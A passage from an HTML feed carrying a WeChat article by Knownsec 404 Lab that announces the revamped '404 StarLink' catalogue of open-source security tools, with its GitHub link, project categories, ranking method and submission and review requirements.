<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a4f33b76&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI0MDI5MTQ3OQ%3D%3D%26mid%3D2247484424%26idx%3D1%26sn%3Dc2e2fc4a34fdac5369c1b5a266195912%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 07 Jan 2022 00:28:00 +0800</pubDate>
    </item>
    <item>
      <title>【文末抽奖】404星链计划改版&amp;新项目加入今日官宣</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&amp;mid=2247484338&amp;idx=1&amp;sn=e4d475ecff33acade37d1d039f1526b1</link>
      <description>好像这么久了没跟粉丝互动过，于是跟「404星链计划」嫖了一批礼物，铁子起来抽奖了</description>
      <content:encoded><![CDATA[<p>
<span>404实验室</span> <span>2021-11-22 21:47</span> <span style="display: inline-block;"></span>
</p>

<p>好像这么久了没跟粉丝互动过，于是跟「404星链计划」嫖了一批礼物，铁子起来抽奖了</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3219878f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3k9IT3oQhT11a3o4XRqQsLOt1SUYZzUqIZRhZD0JicE5ScxE45WIiazZrGRmS8y7EXauVibdaiaLVcLmJL878rggKg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;" data-mpa-powered-by="yiban.io"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.196875" style="" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=2405b123&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F3k9IT3oQhT09IJjs3wGQbICd50va8zMqfnXZfD5LGdibcuOrtia3P4DpMAVfibZ8J4MsbHt0JW20QL8Wh0SO8zpyA%2F640%3Fwx_fmt%3Dgif"/></p><p style="text-align: center;"><br/></p><section mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><section mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><section data-tools="135编辑器" data-id="96809"><section style="margin-top: 10px;margin-bottom: 10px;"><section style="display:flex;justify-content: center;align-items: flex-start;"><section style="display:flex;justify-content: center;align-items: flex-end;"><section style="width:20px;margin-bottom:1em;margin-right:-10px;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="width:20px;background:#fefefe;"><img class="rich_pages wxw-img" data-ratio="3.280701754385965" style="vertical-align:inherit;width:20px;display:block;" data-type="gif" data-w="114" src="https://wechat2rss.xlab.app/img-proxy/?k=e231d9a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F3k9IT3oQhT3KZWzXfmNAIdrBEyz6LibhmXh2jFlzGibh7lISMbQv0icMScoPxPSG1DTdXoYvNc3nfcKwV4pUL0yUg%2F640%3Fwx_fmt%3Dgif"/></section></section><section style="width:100%;" data-width="100%"><section data-autoskip="1" style="border-radius: 15px;border-width: 1px;border-style: dashed;border-color: rgb(118, 199, 235);padding: 1em;font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(57, 125, 154);"><p style="line-height: 2em;margin-left: 8px;margin-right: 8px;"><br/></p><section style="line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><strong><span style="color: rgb(0, 0, 0);">「404星链计划」</span></strong><span style="color: rgb(0, 0, 0);">是知道创宇404实验室于2020年8月提出的开源项目收集计划，这个计划的初衷是将404实验室内部一些工具通过开源的方式发挥其更大的价值，也就是“404星链计划1.0”，这里面有为大家熟知的Pocsuite3、ksubdomain等等，很快我们就收到了许多不错的反馈。2020年11月，我们将目光投向了整个安全圈，以星链计划成员为核心，筛选优质、有意义、有趣、坚持维护的开源安全项目，为立足于不同安全领域的安全研究人员指明方向，也就是“404星链计划2.0”。</span></span></section><p hm_fix="237:276"><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;"><br/></span></p></section></section></section><section style="width:20px;margin-top:1em;margin-left:-10px;"><section style="width:20px;background:#fefefe;"><img data-ratio="3.280701754385965" style="vertical-align:inherit;width:20px;display:block;transform: scaleY(-1);-webkit-transform: scaleY(-1);-moz-transform: scaleY(-1);-ms-transform: scaleY(-1);-o-transform: scaleY(-1);" data-type="gif" data-w="114" src="https://wechat2rss.xlab.app/img-proxy/?k=e231d9a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F3k9IT3oQhT3KZWzXfmNAIdrBEyz6LibhmXh2jFlzGibh7lISMbQv0icMScoPxPSG1DTdXoYvNc3nfcKwV4pUL0yUg%2F640%3Fwx_fmt%3Dgif"/></section></section></section></section></section></section></section></section></section><p><br mpa-from-tpl="t"/></p><p data-mid="" mpa-is-content="t"><br/></p></section></section></section></section></section><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(2, 30, 170);font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><strong><span style="color: rgb(2, 30, 170);background: rgb(255, 255, 255);">为了更清晰地展示和管理星链计划的开源项目，今天我们将1.0和2.0整合，推出改版后的「404星链计划」。</span></strong></span></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><br/></p><section style="text-align: center;margin-left: 8px;margin-right: 8px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4255555555555556" data-s="300,640" style="" data-type="png" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=d850234a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3k9IT3oQhT096BYyBUUnKtcRk7yFia3Hk9GztYy4cjQEkAia1BEYl2biaUtD1SyTs02M6Ts0ERSG0tAGL9cKXJ4Zg%2F640%3Fwx_fmt%3Dpng"/></section><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><br/></p><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><span style="font-family: Optima-Regular, PingFangTC-light;color: rgb(51, 51, 51);background: rgb(255, 255, 255);"><span style="background: rgb(255, 255, 255);">计算机开源社区是开放且庞杂的，当然安全也是如此；我们希望</span>404<span style="background: rgb(255, 255, 255);">星链计划能够提供一个安全开源项目的交流平台，为项目提供技术支持和奖品激励、进行公开推荐，让更多更优质的项目成为大家的</span>“神兵利器”，<span style="background: rgb(255, 255, 255);">以此来促进安全开源社区的发展。就像一颗颗大大小小的星星，本是独自寂寞美丽，但当它们汇在一起，就能聚成一道闪耀璀璨的星河，绽放不可磨灭的力量。</span></span><span style="font-family: 等线;color: rgb(51, 51, 51);background: rgb(255, 255, 255);"><img class="rich_pages wxw-img" data-ratio="1" style="display:inline-block;width:20px;vertical-align:text-bottom;" data-type="png" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=3d687f9a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3k9IT3oQhT096BYyBUUnKtcRk7yFia3HkiaeQ9pnQxvyz1w8s9LyH5nEGD5QccP4LbTJFQQVReNHcrvYCKN5dEVQ%2F640%3Fwx_fmt%3Dpng"/></span></span></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;text-align: center;line-height: 1.75em;"><br/></section><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;text-align: center;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-family: 等线;background: rgb(255, 255, 255);font-size: 16px;color: rgb(2, 30, 170);"><br/></span></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;text-align: center;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><strong><span style="color: rgb(2, 30, 170);">Github地址：</span></strong></span></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;text-align: center;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><strong><span style="color: rgb(2, 30, 170);"><br/></span></strong></span></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;text-align: center;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><strong><span style="color: rgb(2, 30, 170);"><a href="https://github.com/knownsec/404StarLink" target="_blank">https://github.com/knownsec/404StarLink</a></span></strong></span></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;text-align: center;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><strong><span style="color: rgb(2, 30, 170);"><br/></span></strong></span></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;text-align: center;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><br/></p><section data-role="title" data-tools="135编辑器" data-id="102374"><section style="width: 50px;margin: 10px auto;"><img class="rich_pages wxw-img" data-ratio="0.68" style="vertical-align:inherit;box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="252" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=23ae14ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F3k9IT3oQhT11a3o4XRqQsLOt1SUYZzUqtfBAMJbPMw8LQ3CgkElyEvic7kx3KMQgfsBhZroVxBL12ktZG5WWl2w%2F640%3Fwx_fmt%3Dgif"/></section></section><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;text-align: center;line-height: 1.75em;margin-left: 8px;margin-right: 8px;">       </p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;text-align: center;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;"><strong>文末有抽奖，错过拍大腿！ <img class="rich_pages wxw-img" data-ratio="1" style="display:inline-block;width:20px;vertical-align:text-bottom;" data-type="png" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=7b10f670&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3k9IT3oQhT11a3o4XRqQsLOt1SUYZzUquZRGzibOyibUb0ibSibMfLZowRrErodf5YSzC0YjibBS3UltBic6ylutZmRg%2F640%3Fwx_fmt%3Dpng"/></strong></span></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;text-align: center;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;"><strong><br/></strong></span></p><section data-role="splitline" data-tools="135编辑器" data-id="96824"><section style="width: 220px;margin: -10px auto;text-align: left;"><span style="color: rgb(0, 0, 0);font-family: 等线;font-size: 14px;text-align: center;"><br/></span></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1" data-s="300,640" style="width: 158px;height: 158px;" data-type="jpeg" data-w="300" src="https://wechat2rss.xlab.app/img-proxy/?k=8ed6c95b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3k9IT3oQhT096BYyBUUnKtcRk7yFia3HkK5QAPPJvp0DGLv00LJrFEopj8rhubWpFtnj7auPHPfCoIyd5yUbgQw%2F640%3Fwx_fmt%3Djpeg"/></p></section><section data-role="paragraph"><p style="vertical-align:inherit;"><br/></p></section><p style="padding: 0px 0.5em;"><br/></p><section data-role="splitline" data-tools="135编辑器" data-id="96824"><section style="width: 220px;margin: -10px auto;"><section data-role="title" data-tools="135编辑器" data-id="105275"><section style="margin: 10px auto;text-align: center;" hm_fix="404:349"><section style="font-size: 38px;letter-spacing: 1.5px;color: #0b79ff;margin-bottom: -22px;"><strong>0</strong><strong data-original-title="" title="">1</strong></section><section style="display: inline-block;"><section style="background-color: rgb(246, 249, 253);padding: 7px 20px;"><p style="font-family: 0 0 0;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 16px;color: rgb(0, 128, 255);">多维度的项目展示</span></p></section><section style="width: 100%;height: 1px;background-color: rgb(42, 138, 255);margin-top: -5px;margin-left: 10px;overflow: hidden;" data-width="100%"><br/></section></section></section></section></section></section><section data-role="paragraph"><p style="vertical-align:inherit;"><br/></p></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;"><br/></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">新的页面采用板块的方式，你可以更快速的找到感兴趣的项目，获取项目动态和榜单等等：</span></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><br/></span></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><br/></span></section><section style="line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><section style="display: flex;justify-content: flex-start;align-items: center;"><section style="width: 10px;height: 10px;background-color: rgb(255, 255, 255);border-width: 1px;border-style: solid;border-color: rgb(54, 110, 216);border-radius: 50%;flex-shrink: 0;margin-right: -5px;overflow: hidden;transform: rotate(0deg);"><br/></section><section style="border-left: 1px solid rgb(54, 110, 216);"><section data-brushtype="text" style="font-size: 14px;letter-spacing: 1.5px;color: rgb(62, 76, 81);margin-left: 20px;padding-top: 10px;padding-bottom: 10px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">新项目加入板块</span></section></section></section><section style="display: flex;justify-content: flex-start;align-items: center;"><section style="width: 10px;height: 10px;background-color: rgb(255, 255, 255);border-width: 1px;border-style: solid;border-color: rgb(54, 110, 216);border-radius: 50%;flex-shrink: 0;margin-right: -5px;overflow: hidden;transform: rotate(0deg);"><br/></section><section style="border-left: 1px solid rgb(54, 110, 216);"><section data-brushtype="text" style="font-size: 14px;letter-spacing: 1.5px;color: rgb(62, 76, 81);margin-left: 20px;padding-top: 10px;padding-bottom: 10px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">项目活跃度板块（发布更新/发布paper/发布视频等）<br/></span></section></section></section><section style="display: flex;justify-content: flex-start;align-items: center;"><section style="width: 10px;height: 10px;background-color: rgb(255, 255, 255);border-width: 1px;border-style: solid;border-color: rgb(54, 110, 216);border-radius: 50%;flex-shrink: 0;margin-right: -5px;overflow: hidden;transform: rotate(0deg);"><br/></section><section style="border-left: 1px solid rgb(54, 110, 216);"><section data-brushtype="text" style="font-size: 14px;letter-spacing: 1.5px;color: rgb(62, 76, 81);margin-left: 20px;padding-top: 10px;padding-bottom: 10px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">Github star rank 板块<br/></span></section></section></section><section style="display: flex;justify-content: flex-start;align-items: center;"><section style="width: 10px;height: 10px;background-color: rgb(255, 255, 255);border-width: 1px;border-style: solid;border-color: rgb(54, 110, 216);border-radius: 50%;flex-shrink: 0;margin-right: -5px;overflow: hidden;transform: rotate(0deg);"><br/></section><section style="border-left: 1px solid rgb(54, 110, 216);"><section data-brushtype="text" style="font-size: 14px;letter-spacing: 1.5px;color: rgb(62, 76, 81);margin-left: 20px;padding-top: 10px;padding-bottom: 10px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">项目版本更新板块<br/></span></section></section></section><section style="display: flex;justify-content: flex-start;align-items: center;"><section style="width: 10px;height: 10px;background-color: rgb(255, 255, 255);border-width: 1px;border-style: solid;border-color: rgb(54, 110, 216);border-radius: 50%;flex-shrink: 0;margin-right: -5px;overflow: hidden;transform: rotate(0deg);"><br/></section><section style="border-left: 1px solid rgb(54, 110, 216);"><section data-brushtype="text" style="font-size: 14px;letter-spacing: 1.5px;color: rgb(62, 76, 81);margin-left: 20px;padding-top: 10px;padding-bottom: 10px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">分类板块（甲方工具/信息收集/漏洞探测/攻击与利用/信息分析/后渗透阶段等</span></section></section></section><section style="display: flex;justify-content: flex-start;align-items: center;"><section style="width: 10px;height: 10px;background-color: rgb(255, 255, 255);border-width: 1px;border-style: solid;border-color: rgb(54, 110, 216);border-radius: 50%;flex-shrink: 0;margin-right: -5px;overflow: hidden;transform: rotate(0deg);"><br/></section><section style="border-left: 1px solid rgb(54, 110, 216);"><section data-brushtype="text" style="font-size: 14px;letter-spacing: 1.5px;color: rgb(62, 76, 81);margin-left: 20px;padding-top: 10px;padding-bottom: 10px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">专栏（Kcon2021 兵器谱/2021 年度项目等）</span></section></section></section><section style="display: flex;justify-content: flex-start;align-items: center;"><section style="width: 10px;height: 10px;background-color: rgb(255, 255, 255);border-width: 1px;border-style: solid;border-color: rgb(54, 110, 216);border-radius: 50%;flex-shrink: 0;margin-right: -5px;overflow: hidden;transform: rotate(0deg);"><br/></section><section style="border-left: 1px solid rgb(54, 110, 216);"><section data-brushtype="text" style="font-size: 14px;letter-spacing: 1.5px;color: rgb(62, 76, 81);margin-left: 20px;padding-top: 10px;padding-bottom: 10px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">etc</span></section></section></section></section><section style="padding: 0px 0.5em;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><br/></section><p style="text-align: center;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="text-align: center;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7384140061791967" data-s="300,640" style="width: 486px;height: 359px;" data-type="png" data-w="971" src="https://wechat2rss.xlab.app/img-proxy/?k=cbadc2f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3k9IT3oQhT3KZWzXfmNAIdrBEyz6Libhm7QtQPj0Jbhnbqj6tU8zkricUvDIcrPhMmZxaMfNbdT7nwDyw6gaibWiaQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6499582289055973" data-s="300,640" style="width: 507px;height: 330px;" data-type="png" data-w="1197" src="https://wechat2rss.xlab.app/img-proxy/?k=3182ef2f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3k9IT3oQhT3KZWzXfmNAIdrBEyz6LibhmZfsqqwptlgBO4Mk9a7jGATtIIcflgVG1Zib0JKmK9ygkjVyJYzkLJJw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><br/></p><p style="text-align: center;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-family: Optima-Regular, PingFangTC-light;color: rgb(136, 136, 136);font-size: 14px;">（主页板块展示）</span></p><p style="text-align: center;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;"><br/></span></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;"> </span></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">同时，我们改进了评分机制，使用榜单对项目进行排名和展示。以项目更新频率、发表相关文章视频、Github Star、用户使用量等多维度描述和展示项目质量。</span></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;"><br/></span></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;"><br/></span></p><section style="text-align: center;margin-left: 8px;margin-right: 8px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5297191378184193" data-s="300,640" style="width: 536px;height: 284px;" data-type="png" data-w="1531" src="https://wechat2rss.xlab.app/img-proxy/?k=fca37669&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3k9IT3oQhT3KZWzXfmNAIdrBEyz6Libhm0vHQcZnibzms7y9picicE53CRU2D4BQPy3FdDlp0MmKT7veYqeaOBZPZQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><br/></section><section style="text-align: center;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;"><span style="background: rgb(255, 255, 255);font-size: 14px;font-family: Optima-Regular, PingFangTC-light;color: rgb(136, 136, 136);">（项目详细内容展示）</span></section><p style="text-align: center;"><br/></p><p style="text-align: center;"><br/></p><section data-role="title" data-tools="135编辑器" data-id="105275"><section style="margin: 10px auto;text-align: center;"><section style="font-size: 38px;letter-spacing: 1.5px;color: #0b79ff;margin-bottom: -22px;" hm_fix="372:397"><strong>02</strong></section><section style="display: inline-block;"><section style="background-color: rgb(246, 249, 253);padding: 7px 20px;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;color: #0b79ff;"><span style="font-family: Optima-Regular, PingFangTC-light;">更清晰的加入方式</span><br/></section></section><section style="width: 100%;height: 1px;background-color: rgb(42, 138, 255);margin-top: -5px;margin-left: 10px;overflow: hidden;" data-width="100%"><br/></section></section></section></section><p style="font-family: 0 0 0;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><br/></p><p style="font-family: 0 0 0;font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;"><br/></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;text-align: left;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">如果你的安全开源项目有意加入404星链计划，请在星链计划 Github 主页的 issue (<a href="https://github.com/knownsec/404StarLink/issues)提交项目申请，" target="_blank">https://github.com/knownsec/404StarLink/issues)提交项目申请，</a><strong>提交格式</strong>如下：</span></p><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><br/></span></p><ul class="list-paddingleft-2" style="list-style-type: square;margin-left: 8px;margin-right: 8px;"><li style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;"><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="text-align: start;font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">项目名称：</span></section></li><li style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;"><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="text-align: start;font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">项目链接：</span></section></li><li style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;"><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="text-align: start;font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">项目简介：</span></section></li><li style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;"><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="text-align: start;font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">项目特点、亮点：</span></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><br/></section></li></ul><section style="color: rgb(0, 0, 0);font-size: medium;text-align: start;white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><br/></section><section data-role="splitline" data-tools="135编辑器" data-id="96824"><section data-role="title" data-tools="135编辑器" data-id="93040"><section style="text-align: center;width: 100%;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><img class="rich_pages wxw-img" data-ratio="0.1875" style="vertical-align:inherit;width: 10%;" data-type="gif" data-w="128" data-width="10%" src="https://wechat2rss.xlab.app/img-proxy/?k=0804baa1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F3k9IT3oQhT3KZWzXfmNAIdrBEyz6LibhmmqZjc5bTgCrOCxRySBI7CCcVfb2Im5a0qj5vBthdyXIYMAVo6PkicLA%2F640%3Fwx_fmt%3Dgif"/></section></section></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;"><br/></span></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;margin-left: 8px;margin-right: 8px;line-height: 1.75em;"><br/></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">我们将在1-2周的时间内对申请加入的项目进行审核，审核的<strong style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">基础规范</strong>包括：</span></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><br/></span></section><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><br/></span></section><ul class="list-paddingleft-2" style="list-style-type: square;margin-left: 8px;margin-right: 8px;"><li style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"> README.md (包括但不限于：项目简介、运行环境搭建、运行示例等)</span></p></li><li style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"> CHANGELOG (便于记录项目更新)</span></p></li><li style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"> LICENCE (为避免开源纠纷，需要提前选择开源协议)</span></p></li><li style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">编译型项目提供 release 版本</span></p></li><li style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">项目需要和安全相关</span></p></li><li style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;"><p style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;"><span style="font-size: 15px;font-family: Optima-Regular, PingFangTC-light;">必须是完整的开源项目(不能只是二进制，或部分开源)</span></p><section style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;"><br/></section></li></ul><section style="font-family: 